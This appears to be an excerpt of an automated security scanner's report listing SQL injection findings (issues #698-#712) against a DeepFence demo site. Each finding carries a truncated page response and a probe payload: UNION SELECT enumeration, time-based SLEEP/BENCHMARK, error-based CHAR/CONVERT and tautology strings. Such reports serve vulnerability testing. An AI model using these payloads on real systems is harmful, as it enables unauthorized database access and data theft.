Modified 
ParametersName Value
demouser@
deepfence.ioAND 0
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #698
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #699
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #700
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 14
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #701
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 8
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #702
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #703
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 1--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #704
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #705
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 11--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #706
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+
CHAR(88)+CHAR(118)+CHAR(120)))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #707
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89Issue Number #708
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')
),4,5,6,7,8,9,10,11,12--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #709
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io') or ('x')=('x
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #710
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io '''''''''''''UNION SELECT '2
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #711
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #712
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
